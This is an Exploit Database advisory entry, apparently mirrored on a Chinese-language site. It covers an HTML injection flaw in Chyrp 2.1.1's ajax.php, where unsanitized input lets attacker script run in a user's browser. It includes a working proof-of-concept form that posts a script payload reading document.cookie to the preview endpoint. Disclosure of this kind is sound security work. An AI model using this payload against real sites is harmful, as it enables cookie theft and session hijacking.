Chyrp 2.1.1 – ‘ajax.php’ HTML Injection

• Exploit Database
• 25 阅读

• 作者： High-Tech Bridge SA
  日期： 2012-02-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/36874/

• source: https://www.securityfocus.com/bid/52115/info
  
  Chyrp is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.
  
  Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.
  
  Chyrp 2.1.1 is vulnerable; other versions may also be affected. 
  
  <form action="http://[host]/includes/ajax.php" method="post">
  <input type="hidden" name="action" value="preview" />
  <input type="hidden" name="feather" value="" />
  <input type="hidden" name="field" value="" />
  <input type="hidden" name="content" value='<script>alert(document.cookie);</script>' />
  <input type="submit" id="btn"> 
  </form>